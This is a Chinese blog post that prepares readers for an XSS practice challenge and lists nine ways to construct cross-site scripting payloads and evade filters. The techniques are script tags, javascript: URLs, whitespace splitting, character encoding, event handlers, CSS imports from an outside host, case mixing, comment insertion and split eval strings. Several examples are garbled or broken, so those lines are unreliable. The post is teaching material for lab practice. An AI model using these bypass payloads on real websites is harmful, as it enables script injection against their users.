XSS闯关游戏准备阶段及XSS构造方法

2018/11/09 22:13
阅读数 15
请下载好XSS闯关文件后,解压后放在服务器的对应文件夹即可
在该闯关中,会在网页提示一个payload数值
payload ,翻译过来是有效载荷

通常在传输数据时,为了使数据传输更可靠,要把原始数据分批传输,并且在每一批数据的头和尾都加上一定的辅助信息,比如数据量的大小、校验位等,这样就相当于给已经分批的原始数据加一些外套,这些外套起标示作用,使得原始数据不易丢失,一批数据加上“外套”就形成了传输通道的基本传输单元,叫做数据帧或数据包,而其中的原始数据就是payload
payload 指安全测试数据,即在当前网页上输入后传入的有效数据数

xss构造方法
此段来自:  马开东博客  网址:   http://www.makaidong.com

no.1 利用<>标记注射html/javascript
  如果用户能随心所欲引入<>标记,那他就能操作html标记,然后就能通过<script>标签插入 js  恶意脚本了,例如:
  <script>alert('xss');</script>
  当然如果对"<>"和script等进行了过滤,上面这个就无法执行了
no.2 利用html标签属性值执行xss
  很多html标记中的属性都支持javascript:[code]伪协议的形式,这就给了注入xss可乘之机,例如:
  <img src = "javascript:alert('xss');">
  这里即便对传入的参数过滤了<>,xss还是能发生(前提是该标签属性需要引用文件)
no.3 空格/回车/tab
  假设过滤函数进一步又过滤了javascript等敏感字符串,只需对javascript进行小小的操作即可绕过, 例如:
  <img src = "java  script:alert('xss');" width=100>
  这里之所以能成功绕过,其实还得益于 js  自身的性质:javascript通常以分号结尾,如果解析引擎能确定一个语句时完整的,且行尾有换行符,则分号可省略
  而如果不是完整的语句,javascript则会继续处理,直到语句完整结束或分号
  像<img src = "javas
    cript:
    alert(/xss/); width=100> 同样能绕过
no.4 对标签属性值进行转码
  过滤严谨的函数很可能对标签也进行了严格的控制,但是如果用
其他形式表示标签,脚本仍能解析却可以绕过过滤
  常见的编码方式有:html实体编码(&#ascii),十进制、十六进制、八进制编码,unicode编码及escape编码及使用string.fromcharcode(...)绕过
  因此<img src = "javascriptt&#alert(/xss/);">可以实现绕过
  另外还可以把 、 、 等字符插入代码的头部或任意地方
no.5 产生自己的事件  
  如果不能依靠属性进行跨站,那么还可以利用事件处理函数
  <input type = "button"  value = "click me" onclick="alert('click me')" />
  事件既能让 js  脚本运行,自然也可以执行跨站,另外像onerror、onmouseover等都可利用的是事件处理函数
no.6 利用css跨站剖析
  之所以说css样式表是个很不错的载体,是因为css不需要嵌入到html代码中,可以直接从文件或其他地方进行引用. 另外css同样隐蔽、灵活,不过不同 浏览器之间不能通用,如:
  <div style = "list-style-image:url(javascript:alert('xss'))">
  <link rel = "stylesheet" href = " http://www.xxx.com/atack.css ">
  <style type = 'text/css'>@import url( http://www.xxx.com/xss.css); </style>
  <style>@import 'javascript:alert('xss');'</style>
no.7 扰乱过滤规则
  大小写混用:<img src = "javascript:alert(0);">
  不使用引号或者构造全角字符也能扰乱过滤规则
  还有像css中/**/会被浏览器忽略,\和\0同样或被浏览器忽略,同样可以用来绕过:
  <img src = "java/*javascript:alert('xss')*/script:alert(1);">
no.8 充分使用字符编码
  上面说到过编码,这里加以补充,除了像&#ascii,其实也可以采用�、�、�  等形式,同样j 的形式也是可以的
  <script>eval("\61\6c\65......");<script>
  如果使用eval执行10进制形式的脚本则需要配合string.fromcharcode()使用
no.9 拆分跨站法
  拆分跨站就是像shellcode一样,遇到长度限制不能按正常方式跨站时,通过引入变量多次提交将之连接起来实现跨站,例如:
  <script>z='document.'</script>
  <script>z=+'write'("'</script>
  <script>z=z+'<script'</script>
  ......
  <script>eval(z)</script>    //eval函数可以将字符串的内容直接执行
  另外除了像上面多次提交,也可以引用其他变量如:eval(quserinfo.spacename)形式,由于quserinfo.spacename是可控变量,因此改变其值就可以绕过 长度限制了
遵守规则,明白什么地方可变,什么地方不可变
准备进入挑战

展开阅读全文
打赏
0
0 收藏
分享
加载中
更多评论
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部